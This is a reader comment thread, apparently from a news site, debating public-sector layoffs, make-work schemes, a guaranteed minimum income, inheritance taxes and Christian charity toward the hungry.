cy="85.2" r="5.2" transform="rotate(-87.5 183.15 85.242)"/> <path className="cls-12" d="M104.4 142.3h55.1v-3.1a6.3 6.3 0 0 0-6.3-6.3h-42.5a6.3 6.3 0 0 0-6.3 6.3v3.1z"/> <g> <path className="cls-12" d="M143.2 31.1a5.2 5.2 0 0 1-3.4 9.8L127 36.5l3.4-9.8z"/> <path id="bulb" className="cls-13" d="M125.8 64.2a10.3 10.3 0 1 1-6.4-13.1 10.3 10.3 0 0 1 6.4 13.1z"/> <path className="cls-12" d="M90 52l52 17.8-5.9-29.1-23.6-8.1L90 52z"/> <path className="cls-5" d="M112.416 32.603l4.016-11.732 23.624 8.09-4.016 11.73z"/> <path className="cls-12" d="M122.26 22.927l1.132-3.312 12.167 4.166-1.135 3.312z"/> </g> <path id="light" className="cls-14" d="M142 142.3V69.8L90 52l-64.7 90.3H142z"/> </g> <g> <path className="cls-11" d="M15.7 151.9L0 147.1l15.7-4.8v9.6z"/> <path className="cls-1" d="M0 147.1l15.7 4.8v-3L0 147.1z"/> <path className="cls-8" d="M15.7 142.3h157.1v9.56H15.7z"/> <path className="cls-15" d="M15.7 148.9h157.1v3H15.7z"/> <path className="cls-6" d="M6.1 149L0 147.1l6.1-1.9v3.8z"/> <path className="cls-12" d="M6.1 149L0 147.1l6.1.7v1.2z"/> <path className="cls-11" d="M172.8 142.3h5.5v9.56h-5.5z"/> <path className="cls-1" d="M172.8 148.9h5.5v3h-5.5z"/> <path className="cls-5" d="M183.7 151.9a4.8 4.8 0 0 0 4.8-4.8 4.8 4.8 0 0 0-4.8-4.8h-5.4v9.6h5.4z"/> <path className="cls-12" d="M187.1 143.7a4.8 4.8 0 0 0-1.9-1.1 4.9 4.9 0 0 1 .3 1.5 4.8 4.8 0 0 1-4.8 4.8h-2.4v3h5.4a4.8 4.8 0 0 0 3.4-8.2z"/> </g> </g> </svg> ) } }); ReactDOM.render(<App/>, document.querySelector("#main"));
Also see: Tab Triggers | https://codepen.io/sdras/pen/ddf26e93dd6bc119b661cdddc3454147/ | CC-MAIN-2021-21 | refinedweb | 938 | 83.32 |
This C++ program prints the sizes of pointers to primitive datatypes like int, float, double and long. The size of the pointers is implementation dependent and should be same for every primitive datatype since it contains the same of data. The sizeof operator is used for determining the size of the datatypes.
Here is the source code of the C++ program which prints the sizes of the pointers to primitive datatypes like int, float, double and long. The C++ program is successfully compiled and run on a Linux system. The program output is also shown below.
/*
* C++ Program to Print Sizes of Pointers to Primitive Datatypes
*/
#include <iostream>
int main()
{
int * ip;
long * lp;
char * cp;
float * fp;
double * dp;
std::cout << "Datatype " << "Pointer Size\n" << std::endl
<< " int" << std::setw(12) << sizeof(ip) << std::endl
<< " long" << std::setw(11)<< sizeof(lp) << std::endl
<< " char" << std::setw(11) << sizeof(cp) << std::endl
<< " float" << std::setw(10) << sizeof(fp) << std::endl
<< " double" << std::setw(9) << sizeof(dp) << std::endl;
return 0;
}
$ a.out Datatype Pointer Size int 4 char 4 long 4 float 4 double 4
Sanfoundry Global Education & Learning Series – 1000 C++ Programs.
If you wish to look at all C++ Programming examples, go to C++ Programs. | http://www.sanfoundry.com/cpp-program-print-sizeof-pointer/ | CC-MAIN-2018-09 | refinedweb | 207 | 67.79 |
OnDemandPaginginstead of loading data for all pages. For more details, you can refer below documentation link,
This is Ok but, now I want to join this example with filtering and to have datagrid with datapager and filtering with MVVM.I've attached a .rar, this rar is based in filtering_demo, but I have modified the code (VS 2015), but it is not working, with the helper behavior public class OnDemandLoadBehavior : Behavior I can load the datapager on demanding but I don´t know how to join it with the filtering
This post will be permanently deleted. Are you sure you want to continue?
Sorry, An error occured while processing your request. Please try again later.
or the page will be automatically redirected to sign-in page in 10 seconds. | https://www.syncfusion.com/forums/129893/sfdatapager-pagesize-grouping-sfdatagrid | CC-MAIN-2019-04 | refinedweb | 129 | 64.1 |
= b + c;
-- Ted Ts'o
Quote of the week
Posted Dec 9, 2004 4:04 UTC (Thu) by josh_stern (guest, #4868)
[Link]
Posted Dec 10, 2004 2:57 UTC (Fri) by mbp (guest, #2737)
[Link]
For C++ in principle you can decide to avoid some features, but it is hard to agree on which ones. I have heard people propose any of the following: no templates, no MI, no RTTI, no non-virtual members, no typedefs, no operator overloading, etc. And yet if you stick to just slightly-improved C then people will complain...
Posted Dec 10, 2004 4:37 UTC (Fri) by josh_stern (guest, #4868)
[Link]
Posted Dec 10, 2004 6:58 UTC (Fri) by mbp (guest, #2737)
[Link]
C++ has more magic, therefore it is harder to look at code and see what it does without examining all of the definitions which may be in force.
Posted Dec 10, 2004 18:39 UTC (Fri) by josh_stern (guest, #4868)
[Link]
Huh? I must be giving Ted more credit than you apparently do. I assumed he was worried about the possibility that someone had redefined global assignment or addition operators for POD (built-in) or standad types or known types which use a default assignment operator. That would be analogous to creating some weird and unexpected macro that made normal looking code into something utterly different. Such things should be ruled out by coding standards that are fully comparable to 'Minimize macro use and always use captial letters for macro names'. "Surprising" behavior by user-defined member functions is not something that would cause diagnostic problems for a competent developer, because a) we don't have much prior expectation on the behavior of a new user-defined type, and b) the member function declaration and definition has to be part of the class declaration and definition, so we know exactly where to look for it and who is supposed to be modifying it (so someone cannot come along and redefine it in an unrelated header file). It is part of basic developer competency to know which types are being operated on, and understanding that the argument type is actually part of the function name in C++ is not a huge mental leap.
"And while it is possible to write surprising code in any language, it is common (almost unavoidable) in C++ to write code which can have surprising interactions."
It's not common for competent C++ developers to write code that is seen as having surprising interactions by competent C++ developers.
"It is generally a reasonable assumption in C that there are no macros that will mess with a line; it is not a reasonable assumption in C++ that there are no conversion or copy constructors or operators."
Copy constructors and assignment operators are a basic part of C++. There is nothing surprising about them - every class has one copy constructor and one assignment operator, default or otherwise (though they can be made private members to eliminate their actual usage). Other member function operators, global operators, and type conversion member operators all have their place in some types of coding, and there are various coding standards describing their appropriate usage. Moreover, they could all be prohibited from a given type of project without seriously impacting common development idioms.
"C++ has more magic, therefore it is harder to look at code and see what it does without examining all of the definitions which may be in force."
ISO C++ is a more complicated, larger language than C99. One only needs to look at the standards documents for each to see how much larger C++ is. This means that C++ takes that much longer to learn well, and this is a serious criticism of it as a language (both in comparison to C and to Java).
But I disagree with the statement above in the sense that it is actually easier for a competent C++ developer to inspect and/or debug application code written by another competent C++ developer. There are a lot of reasons for that, of which I'll highlight a few: a) compactness/locality of class member declarations, definitions, and access control, b) encapsulation of resource acqusition and release mechanisms, c) namespace separation that is independent of header separation, d) less need/usefor macros, e) stricter typing, and f) more utility built into presumably debugged standard library code (I realize this is irrelevant for kernel programming).
Posted Dec 10, 2004 8:37 UTC (Fri) by daniel (subscriber, #3181)
[Link]
"The thing is that because C is a simpler language, it is easy to describe the necessary rules: no #ifdefs in code, avoid macros, strongly avoid macros don't generate "self-contained" results, use inlines rather than macros where possible, etc. These are easy to understand, easy to check for, and most experienced programmers will see they make sense."
If it was C++, we'd add the rule "no operator overloading", big deal. This argument, like many I've seen for the "against" case, baffles me. The only argument that really matters is: it's Linus's kernel and he doesn't want any C++ in it. But I do wonder how many of the "against" crowd have actually used C++ on a project of any significance?
John Carmack developed the Doom III engine in C++, his first engine written in C++. Where John goes, there is usually truth. I don't know what his reasons were, but my impression is, C++ is an altogether more regular and descriptive language than plain old C, and superior for large projects. One small example: with C++ templates we could have type checking in the list ops, instead of having every list be (struct list_head *).
But I don't mind sticking with C. I'm an oldtimer who learned to code before there was any such thing as C++. I'd just as soon things stay as they are, at least until I get time to improve my C++ skills. I suspect that C++ _is_ actually better for a large OS project, but that somebody will actually have to sit down and prove it by building a whole kernel in it, and that may take a while.
Posted Dec 16, 2004 22:33 UTC (Thu) by renox (subscriber, #23785)
[Link]
How many developers worked on the engine of Doom III?
I'd bet that this is less than 5, so the situation is different..
Posted Dec 9, 2004 4:11 UTC (Thu) by elanthis (guest, #6227)
[Link]
Mean-while pretending that we didn't have this new tool called "sparse" to check the bazillion and one ways that C itself can be misused...
Really, C++ can offer some benefits, including a *cleaner* interface. If operator overloading is considered evil, is it *really* that hard to just add some scripts (or sparse enhancements) to raise hell about them?
In honesty, it doesn't matter - most of the truly interesting C++ stuff (i.e., the stuff beyond just syntactic sugar) really isn't a good idea to use in a kernel, and I'd rather the developers use what they're comfortable with.
C seems to have done just fine for Linux for the last decade+ after all. ;-)
Posted Dec 9, 2004 8:25 UTC (Thu) by simlo (guest, #10866)
[Link]
I don't know what you call interesting in C++, but I can easily point out 2 places where C++ would be really nice:
1) Instead of using pointers to a struct of function pointers use virtual functions in C++. What will actually happen runtime will be the same.
2) Ingo Molnar have replaces spin-locks with muteces in his real-time patch.
Some are left as spin-locks, some are changed. But the interface is the same. So how does the kernel know which function to call when the lock has to be locked/unlocked?
This is now done by explicitly making typecheck's with if's in the code. Ugly! In C++ you just overload the function. It will all be done compile time! In general it is much easier to fix interfaces in C++ without breaking compability with existing code
- without making extra runtime checks!
C++ also has a lot stronger type-checking so you can do a lot more checking compile time.
I don't know about templates. In some way they are very elegant and I have done some really nice stuff with them. You can make the compiler do a hell of a lot of the work for you and make much more efficient code because
a lot of the logic can be done compile-time. But they are really hell to debug from outsiders and doesn't really work the same in all compilers...
Posted Dec 9, 2004 18:01 UTC (Thu) by iabervon (subscriber, #722)
[Link]
I haven't looked at Ingo's patch, but any problems which prohibited a compile-time solution in C (probably passing locks of unknown implementation through another function) would also prohibit it in C++, and C++ would then general virtual function calls, which would then be prohibitively expensive for such fast-path code. The reason for doing that sort of ugly thing is really that you have a special case with critical performance, and you have to open-code such things in any language.
C++ does have some advantages in type-checking, but C compilers warn about cases where these checks are either impossible or are violated, with the exception of some of the C++ checks which are actually detrimental. Sparse also does better type-checking than C++ supports, since it allows project-defined special conditions (like typed pointers to values in a different address space).
Actually, now I'm curious as to how hard it would be to get sparse to support "struct list_head * __of(struct dcookie_struct)" and type-check that like C++ templates or Java generic types.
Posted Dec 9, 2004 21:29 UTC (Thu) by simlo (guest, #10866)
[Link]
Ofcourse you wouldn't do it by virtual functions in C++! You use virtual methods when you want to branch out run-time, not compile time. In C++ you simply define two classes with the same public methods. In this case class spinlock and class mutex with public methods lock() and unlock(). Then all code can compile with no further change no matter if you declare your lock by "mutex mylock;" or by "spinlock mylock;". The compiler sees a object with a lock() method and calls the right one (might be inlined). No branching at all. If you then want a flat function interface which matches the current one you can make a very simple templates to generate lock() and unlock() functions.
The way Ingo have done it in flat C is by doing making a macro containing "if(TYPE_EQUAL(lock), mutex) lock_mutex((mutex_t*)lock) else if(TYPE_EQUAL(lock, raw_spinlock_t)...." I know, with -O2 this wont actually generate a branching code but it is very, very ugly.
C++ is a huge benifit to people who know C++. It will _not_ make inefficient code unless you use it the wrong way ofcourse (see the above examble). On the contrary you can do more efficient code since you can do
a lot of the stuff compile time. But to avoid complexity stay away trying smart templates combined with operator overloading. THAT is hell figure out when it can't compile. On the other hand when it can compile there are very few errors in the resulting program due to the strong type-checking.
Posted Dec 13, 2004 7:10 UTC (Mon) by hppnq (guest, #14462)
[Link]
As a side note, ugliness is not necessarily bad, because it will keep urging people to fix the associated problem.
Open-code?
Posted Dec 14, 2004 19:41 UTC (Tue) by Max.Hyre (subscriber, #1054)
[Link]
What does ``open-code'' mean in this context?
So far,
I've not run across anything that would fit this use.
Of course, I tried Google:
"open code" -"open source" -"free software",
but was swamped with Free-Software-ish links anyway. :-)
"open code" -"open source" -"free software"
Posted Dec 14, 2004 21:06 UTC (Tue) by iabervon (subscriber, #722)
[Link]
Posted Dec 10, 2004 12:40 UTC (Fri) by kleptog (subscriber, #1183)
[Link]
There is actually one thing pointers to functions can do that virtual functions can't, and that is be modifed at runtime. For example, you load a module that looks up the ops for UDP sockets and switches one for itself. In C++ the indirection is fixed by the type. Virtual functions would only work if you created the object of the right type in the first place, you can't affect existing objects.
Individual object can define their own callbacks setting a pointer. In C++ you acheive the same affect by deriving a new class for each possibility. The compiler needs to know at compile time all possible variations of that class.
Note, some other languages do allow run-type retyping including Perl and Python.
At least in C you can assume that the only operators that work on your own types are &, -> and .(dot). If none of those are involved you know you're only dealing with base or pointer types, whose rules are very simple.
Posted Dec 11, 2004 12:51 UTC (Sat) by mmutz (subscriber, #5642)
[Link]
The compiler needs to know at compile time all possible variations
of that class.
If this is true, please explain to me how on earth the compiler manages
to compile this code:
foo.h:
class Foo {
public:
virtual void f();
};
foo.cpp:
#include "foo.h"
void Foo::f() {}
bar.h:
#include "foo.h"
class Bar : public Foo {
public:
void f();
};
bar.cpp:
#include "bar.h"
void Bar::f() {}
cc -o foo.o -c foo.cpp
cc -o bar.o -c bar.cpp
cc -o foobar foo.o bar.o
Posted Dec 11, 2004 17:23 UTC (Sat) by simlo (guest, #10866)
[Link]
By having structures of function pointers there is no check on the actual pointers point to anything sensible. The only thing safe to do is to check if they are non-NULL before using them! Waste of instructions...
Posted Dec 10, 2004 5:16 UTC (Fri) by mbp (guest, #2737)
[Link]
Yes.
Writing a sufficiently correct parser for C++ that understands the interactions between all the language features is much harder than writing one for C. Indeed I think you cannot do anything useful with just a parser alone (as for C), since that won't catch problems that come up during template expansion (I think.)
Posted Dec 10, 2004 16:31 UTC (Fri) by viro (subscriber, #7872)
[Link]
Thanks elianthis, I remember when learning about sparse thinking that they're trying to reinvent Ada!
Apparently C's weak typing is an issue for big projects which is not surprising.. OTOH C++ isn't exactly an elegant language (I do consider C's simplicity elegant for small to middle project but not for large projects) and there is a lack of fashionable replacement language..
Posted Dec 9, 2004 16:11 UTC (Thu) by alq666 (guest, #11220)
[Link]
Posted Dec 10, 2004 8:16 UTC (Fri) by aleXXX (subscriber, #2742)
[Link]
OSes in C++
Posted Dec 10, 2004 12:12 UTC (Fri) by eru (subscriber, #2753)
[Link]
ChorusOS is another one (was proprietary, now open-sourced as "Jaluna" under a modified MPL-like license). However, years ago having browsed its kernel code, I got the impression it uses C++ in very limited way as a "better C", using classes mainly to manage name spaces.
Posted Dec 10, 2004 18:16 UTC (Fri) by daniel (subscriber, #3181)
[Link]
Ahem. Doesn't that make a frightening amount of sense?
Regards,
Daniel
Posted Dec 11, 2004 12:59 UTC (Sat) by mmutz (subscriber, #5642)
[Link]
Posted Dec 17, 2004 20:50 UTC (Fri) by zakaelri (guest, #17928)
[Link]
Meanwhile, you can organize the kernel code better, and clean up someof the grittier parts with C++'s syntactic sugar. This would make it easier to manage in the long run, and new features could be tested and added easially.
Then again, I am not a kernel hacker, and never will be. As long as it works, I don't particulalry care what the code looks like. I can leave that up to the developers. (Furthermore, C++ isn't always faster than C... look at how slow and bulky some of the apps in KDE are... and binding to modules/object libraries is a pain, in my experience.)
Posted Dec 16, 2004 12:55 UTC (Thu) by danielos (subscriber, #6053)
[Link]
Linux is a registered trademark of Linus Torvalds | http://lwn.net/Articles/114782/ | CC-MAIN-2013-48 | refinedweb | 2,781 | 67.99 |
:
"Ignoring the option of just letting people go hungry"
Who's letting who go hungry again? If the government doesn't feed, then the rest of us will watch someone else starve?
Maybe Democrats would, but the American people in general would not.
I understand it's a throw away line but it was a cheap dismissal of the charity of People.
Yeah, so when in history has private charity even begun to be sufficient for feeding the hungry?
I'll save you the time: Never.
Better step up. Food pantries are in need of supplies.
Perhaps you think business people in the US are magically different than those in China?
What say you? If you saw somebody that was hungry, would you feed them, or would you think that only the government could feed them?
It sounds like the former.
I'm curious.
Politicians made those choices soley on political, rather than, economic reasons. The cost of public sector benefits is a major budget issue, along with the increase cost of medicaid, and debt payments for many government entitites. You have many police and fire retirees who are guaranteed more in retirement pay than when they worked. You hear stories of 70, 80, 90 percent retiring on disability and then finding private sector jobs. Many make no contributions to their benefits, yet receieve more than workers who have advance degrees. Added in the obstacles to adjust the work force based on competency and performance and you get a bloated budget of non productive gains. We all want teachers, police, and fire. We all want the government to spend wisely. The fact is, politicians can't do the job becuase of the incentive to do what is right, is not there and they have learned to be Santa Claus. Of interest, in 1943 (or 1941) New York City had a huge snow storm. The mayor, who had limited funds, asked each citizen to their part by clearing the area in front of their homes and at the end of a side walk of snow. How novel, asking citizens to pitch in and help the community vs. hiring more sanitation workers for a once every decade storm and paying them more in retirment than the citizens who support them.
That's a good other side. If public employees didn't have generous defined-benefit pensions then the decision to keep them on as a counter-cyclical way of getting something you already need might be easier to make.
I agree with Doug about the pensions.
That is why I keep on saying that ALL public pensions and unemployment benefits should be SCRAPPED and REPLACED with a no-strings-attached basic income that is just about sufficient to get by in a middle-of-nowhere backwater on your own.
Yup. Unfortunately this is a simple and straightforward idea.
Not workable in the US.
I thought the term "K.I.S.S." was invented in the US... :(
It's not obvious why a guaranteed-minimum income scheme isn't a first-best solution. After all, it's far cheaper to administer than make-work schemes, and it wouldn't discourage anyone from seeking a regular job.
Of course guaranteed income would discourage people from seeking employment. That's not even a point of debate.
Another problem is the cost. Guaranteed income would be cheaper to administer per capita but it would have far more recipients compared to a guaranteed work program, resulting in a much larger total bill.
With a guaranteed minimum income, you'd still get the same stipend after getting a regular job. Thus you receive its full marginal benefit.
A make-work scheme, on the other hand, would almost certainly only be available to the unemployed. Depending on how badly the program were structured, taking some jobs might even reduce one's net income.
I do agree that the total bill for a guaranteed minimum income scheme is larger. However, I'm more concerned with the efficiency of government programs, and that means cutting administration and overhead costs.
This does mean that replacing social welfare benefits with a guaranteed minimum income would result in far more public employees being laid off than in M.S.'s worst austerity-driven nightmare. Perhaps that's why he finds it a sub-optimal solution?
With a guaranteed income, you don't need a regular job anymore.
A larger total bill has a very profound negative impact on efficiency. It requires higher tax rates which increases the deadweight loss.
Inheritance should be taxed at a super high rate to encourage hard work.
With a guaranteed income, though, you still have an extra dollar (minus taxes) for every extra dollar minus taxes you earn. It's the social welfare plan that least discourages work and the one you were advocating, like, three months ago as proof that Republicans out-think Democrats. Republicans sure don't out-remember anyone.
A "super high" inheritance tax discourages hard work since you can't pass on savings. It also encourages malinvestment since you're better off burning your money on lavish vacations rather than investing it wisely for the benefit of your heirs.
Guaranteed income would discourage work less than means-testing but guaranteed work doesn't need to be means-tested. You need to work regardless so it's always to your advantage to find a better paying job.
But would someone who has a part-time job qualify for guaranteed work? How about someone who worked two jobs, but lost one of them?
Sure. $7.25/hour no questions asked.
I would favor a basic guaranteed income, and to incentivize labor (even if it's digging ditches for gov't road projects) they would receive an add'l stipend for working. Those who want to work (or have more money) would work. Also make firing gov't workers a little less arduous to keep them productive.
actually, burning off excess income (to keep it out of gov't hands) is what gave us all the great public works from the robber barons. I also think it would speed the velocity of money a bit since much less would just sit there doing nothing but take advantage of compound interest.
Money doesn't "just sit there doing nothing" unless you literally put it under your mattress.
Let me show you why "Guaranteed minimum income" reduces the incentive to work.
.
Lets say your income is $0. It certainly makes sense to trade some of your free time (currently at 100% leisurely) for some basic survival resources. Now lets say your income is $2000/month. Working a job at $7.25/hour no longer sounds as appealing, does it? Look at it mathematically. At $0/month, a $7.25/hour wage for 40 hours is an infinite percentage increase in pay. At $2000/month in guaranteed income, that same $1160 is only a 58% increase in pay.
.
Put in other terms, at $0/month each hour worked at minimum wage would represent 1/160th (0.625%) of your monthly wage. At $2000/month, each hour worked would represent only 0.229% of your monthly wage.
.
Clearly, the less ambitious among us are going to work less under your scheme. Why break your back for a few extra measly bucks? Given that it will also likely be financed primarily by the wealthy, they will also work less. The end result? Less economic growth, fewer jobs, and higher unemployment.
Every generation should earn its way. A landed gentry is corrosive to merit.
Even if you invest wisely, most pampered offspring will blow it unwisely. Take your pick, blow it now or have it blow later.
Also if people spend it, then money circulates in commerce, doesn't get hoarded, inspiring the need to loan, and thus cause inflation.
You're the second commenter here to mistakenly believe that savings don't circulate.
Not only to inheritence taxes discourage work and encourage poor investment but they're completely unnecessary! If you want heirs to be left with less, tax income at a higher rate to begin with! You get your wish without creating the bias in favor of poor investment.
Money that is invested doesn't just "sit there". When invested in a company, the company uses it to provide goods and services. When placed in a bank, the bank is supposed to loan it out to businesses and individuals who also use it either for business, or to expand their home, etc. It is a fundamental principle. Without savings, you cannot concentrate wealth in such a way to do large things.
If you get the same stipend after getting a job, then everyone would get the stipend, would they not? If not, at what point would the stipend end? No matter where you put the line, it would be a disincentive to work beyond that point, or to work for cash under the table, as many people who receive benefits do.
Where would the money come from to provide this guaranteed income? Seems like a lot more money than can be confiscated from the hated top 1%
I would only support guaranteed minimum income as a total REPLACEMENT of ALL existing public pensions and benefits, and then DISBAND all government administrations overseeing existing pensions and benefits.
This way, you get equal opportnity, guaranteed safety net, AND smaller government all in one go.
Total income of how much v expenses?
People still want toys. Kids will work for allowance to buy their comics and stuff, even if mom and dad feed and house them.
I have to wonder if a floor wage might also depress wage inflation in a contrarian fashion. When basic needs are guarenteed to be met perhaps the drive to grub for more might diminish.
Savings circulate only via interest bearing loans which is inflationary.
Money hoarding necessitates inflation. Money hoarding creates asset classes who contribute no direct productive work.
We've had this discussion before, I don't care how its achieved really. Only that a landed gentry doesn't develop, but I still don't think handing off money to kiddies is good. Have the parents spend it, it'll create demand, which is sorely needed atm.
So they work less. The fact that a basic income discourages work isn't disputed anywhere. You should drop it.
"Savings circulate only via interest bearing loans which is inflationary."
No. Savings can be invested as equity. Small businesses can raise capital because someone else saved.
I don't know why you're so scared of inflation.
"Money hoarding creates asset classes who contribute no direct productive work."
Let me get this straight. If interest rates were raised to 1000%, it would have no impact on "productive work?"
sure, but quite a lot of investments may as well be under the mattress as far as most of the economy is concerned. Stock trading only enriches brokers and a few others. A somewhat more redistributive tax structure (no, not communism) would do us well by reducing inequality and putting more money into the general economy - consumers consume more when they have more money to spend, up to a point.
That's not how marginal incentives function, though. What matters is not by what percentage an hour of work increases your income, but how many additional dollars you take home for that hour.
It's also worth mentioning that $2000/month would be an incredibly generous minimum income.
Yes, in order for such a scheme to work properly, even Bill Gates would get the stipend.
Trading shares of listed companies might not directly grow the economy. However, without liquid stock markets, it would be nearly impossible for startups to obtain equity financing.
kinda depends on how/where it's invested. money invested in the stock market (except for IPO's) only enriches brokers and other financial folks (it doesn't go to the company) as well as some of the actual investors (it's basically legal gambling). The very wealthy mostly invest in things like stocks that don't result in money leaking out to the greater economy.
MS managed to rebut Greenstein for Buckley: High school drop-outs can't build bridges.
Those who know my economic views know that I've been advocating guaranteed work programs as the best conservative alternative to welfare without strings. My idea is to let any government agency hire as many people as they want for minimum wage. It could be teachers, cops, secretaries, janitors, whatever. The wages would come out of this new program instead of the agency's budget or at least there would be matching funds. Agencies would have an incentive to hire up to the zero marginal product worker. That leaves only people who really cannot add value. I don't know how large this pool would be but we put them in classrooms as a condition of receiving checks, ostensibly to teach them skills but more likely just to deter people from collecting welfare instead of working.
Why is this preferable to paying bad teachers $40K plus benefits, tenure, early retirement, and generous pensions? I guess that was a loaded question. The Greenstein/MS plan is to overpay. The Buckley/RR plan is to overpay less.
Greenstein/MS might argue that overpaying is good during a recession. That brings me to my partial defense of austerity. According to many, not only should we spend more during a recession to stimulate demand but we should also spend more during booms because we have the money. There's never a right time to cut spending. You can spend your way to prosperity indefinitely. To counter this absurdity, we may have to take every opportunity that presents itself to cut spending. It will hurt in the short term but we'll be better off in the long run. Yes, in the long run we're all dead but our children won't be. To be clear, I'm not saying we should cut everything. Ideally, we would hire and build when we need to hire and build and lay off and abandon when we need to lay off and abandon, without regard to the business cycle. If the teacher is worth the money, keep her. If not, don't.
High School drop outs can and have built bridges - they may not be able to design the bridge but they can and have built bridges, houses, roads, shopping centers, theaters, factories, etc - lots of high school drop outs have been employed in the construction trades. It is far better than government make work and government handouts - at the end of the day/job/working life, you can go around and say I helped build that.
RR I'm engaging in a reasonable discussion here, not yelling at you or anything, just devil's advocate:
1) Why wouldn't these same public servants just do nothing and collect unemployment and other welfare? It'll be at or above minimum wage, they won't have to work, or spend the money (gas, clothes, transport) it requires to go to work everyday.
2) Could you describe this "incentive" for agencies to do this? Why do they need an incentive? Who determines when they have reached zero marginal product? Put another way, how many firefighters, teachers, police, etc, are too many? Who determines that?
3) I assume these people will be working part-time so they can also get training part-time? Or is that only after working hours and on the weekends?
4) Is there really a shortage of minimum wage jobs that the government needs to create them?
1. We're talking about welfare schemes to replace existing welfare schemes.
2. Agencies have a budget. They don't mind extra help but they don't want to cut their own benefits to help others. So they would accept all the extra help they can get up to the point where an extra employee doesn't help anymore and may even require the agency to spend more to train or monitor than they receive in value from the employee. That point comes surprisingly fast so you may not actually create many jobs this way but it's at least worth doing.
3. That's up to the employers and the employees.
4. I don't know but guaranteeing one is useful.
holy crap... I think I just agreed with you.
thank you. Another point we may agree on is the withdrawl of American Troops from Europe - which (in my opinion) should have happened within 5 years of the Berlin wall coming down.
Mostly I do, though I see the utility of a base in Europe for projecting power in the Mid-East and Africa. Same w/ the base in Okinawa for Asia - it has utility but could be scaled back..
What we need is more platitudes and fewer specifics.
Bullshit.
lol, what drove mfg overseas is that the combined cost of labor and transport is lower than producing in the US due to significantly higher wages (due to significantly higher cost of living) in the US vs. places like India and the PRC. regulations, beyond things like basic safty standards to prevent workers dying like in Bangladesh, really don't come in to play here. It is generally cheaper for a business to ignore most regulations and pay the slap-on-the-wrist fine than to follow them.
The Inca empire, built without a writing system, but which had a tally/accounting system, taxed not with money but with service. People manufactured goods and provided services to the state.
There is still a lot of useful things that could be done, such as keeping the streets tidy. People could also learn trades.
... and it was brought down by 168 Spaniards.
i don't see how returning to bartering would make this more efficient
to be fair, it was 168 disease ridden Spaniards with vastly superior weaponry.
The Spaniards toppled the Incas before disease took its toll. However, disease finished the job, to be sure.
Don't forget the 37 horses. Incas didn't have horses either.
That is true. An armored man on a horse is the medieval equivalent of a tank.
Of course, things would have been very different if the Incas had ninja attack llamas. ;^)
or at least metal weapons... instead of volcanic glass encrusted sticks and such. now your talk of llamas has put me in mind of the end of Monty Python and the Holy Grail. Llamas!
.
Compasionate conservatism = let them eat cake
Mittens' and sons'.... "cough" "cough" "cough"....
Romney... "cough" "cough" "cough"....
She's talking about you!.
Melissia - Just curious - do you call everyone you disagree with an a##h#$% or just people you believe call themselves Christian, sounds rather bigoted to me - especially with your beleif about christians and Christ's teachings - but with 18 recomends (and counting) it seems that insulting the Christian religion remains in vogue with TE readers.
"I don't know what Christ would say about the current situation."
I do. But then again, I've actually read the bible, and not just the one or two lines the prosperity preachers love to parrot around.
And I oh, Jesus was not finished quoting Jesus insulting to Christians?
Then let us be insulted.
Better that, than to become modern-day Pharisees.
Pay attention to the timeline of the comments - misdirection, diversion and half truths are all marks of propaganda - are you , like Islamacists, attempting to to do for Christians, what Goebells and Islamcists did for Jews in Europe and Persia, middle east and northern Africa respectively?
Keep in mind, we have done worse than merely not give food. We're not just refusing to give food to the hungry. We're taking away food that they would have had had we done nothing and simply let SNAP and other programs exist in its current state. And SNAP is extremely meager, nothing compared to what Jesus would ask of us.
And we do these deeds in the name of the very prophet that not only preached against things like this, but commanded that we do the opposite! If America is godless or god-forsaken, it isn't because of the atheist, or the homosexual, or the liberal, or any of the favorite targets of conservative Christians. It's because of the conservative Christians themselves.
And yet in spite of this, it is they whom claim the label of Christian, and people assume that those who speak out against them AREN'T Christian. Complete and utter nonsense.
You claim that I am attacking myself, because you are foolish enough to think that anyone who would quote Jesus is not a Christian.
Melissia - what logic did you use to come to your conclusion? I stand by my statement.
That is because you are not actually reading what I have written, and instead assuming that I am a non-Christian saying all Christians are assholes.
Which is very dishonest of you..
"an active police officer costs a government far more than paying the same officer unemployment and welfare benefits. They save money when they do it, which is why they are doing it."
Active police officers "cost" more, but provide a service. Unemployment creates no return (except for putting it into local circulation I suppose), which is just throwing the money away.
The service the officer provides, as is the case in many industries, has non monetary value to those taxpayers the government serves, and in the long run reduces unnecessary future expenses thus saving money. In the case of officers, I live in a run down urban area. Flight and blight has lead to an excessive tax burden on a few trapped locals. More officers and safer neighborhoods could have lead to higher population, and higher tax revenue.
We have budget issues across the board, but these were created by short sighted policy, and will be worsened by short sighted policy.
Paying only the unemployed to clean streets costs far less than cutting every American a check.
Well we can't have out of work police officers starving, so we provide them benefits - there's no sense in keeping the same number of officers in your run down urban area when the number of people they're supposed to be protecting is rapidly dwindling due to flight.
What long-term value is there to having more police officers than are "needed"? (I realize that's a relative term). But clearly there's no sense in having the same police force for 100,000 people as 20,000. No government/citizenry can afford that. And it's not just the officer's salaries, its gas and maintenance for their cars, offices, training, equipment, support personnel, etc etc.
Obviously.
It's a long-term solution to this happening to anybody instead of a short-term waste of money applying to situation of today. Besides, not everyone will even be able to do the physical work required, those people will need to just get checks anyway.
Unless of course one could come up with something else demeaning and dehumanizing for the disabled to do to earn their food too?
"Unless of course one could come up with something else demeaning and dehumanizing for the disabled to do to earn their food too?"
Most disabled people can still do things from behind a desk. At the very least they can take classes.
More whining about debt. What's the interest rate on a T-bill these days, and how does it compare with inflation? For a while the US was profiting on its debt. Obviously not a long term condition, but it's also obviously not a crisis, either.
No, government debt is not "massive" in the US. On the other hand, student debt for example is reaching emergency proportions, but's that different because we'd have to fund universities at a higher level to fix that, and that's communism.
You seem to be forgetting that the government prints money, and stable governments that have a printing press and borrow in their own currency almost never have debt crises. You guys have been freaking out about hyperinflation and interest rates for 4 years and nothing has happened. Why believe a word you have to say now?
Governments don't have the best track record for employment - though, by the theory of the second best, IT DOESN'T MATTER when unemployment is high like now (hence Keynes' "put money in old bottles in coal mines and let the private sector dig it up" thought experiment). The private sector is unwilling to hire right now, so somebody's gotta do it. The loss to society from high unemployment is far worse than "inefficiency" and "make work" jobs (like teachers and firefighters?). And to contrast, a good deal of the private sector employment is in such useless, bloated sectors as finance, that make huge amounts of money by moving around money and little else.
In my experience, physically disabled people want to work, and have pride in being able to do the same work as fully able people and do it just as well if not better.
A HOMEMAKER ALLOWANCE anyone?.. And a policy of one good job per family... i.e good jobs for breadwinners... And part-time work for homemakers... Isn't that a little more realistic than guaranteed work for everybody?
..
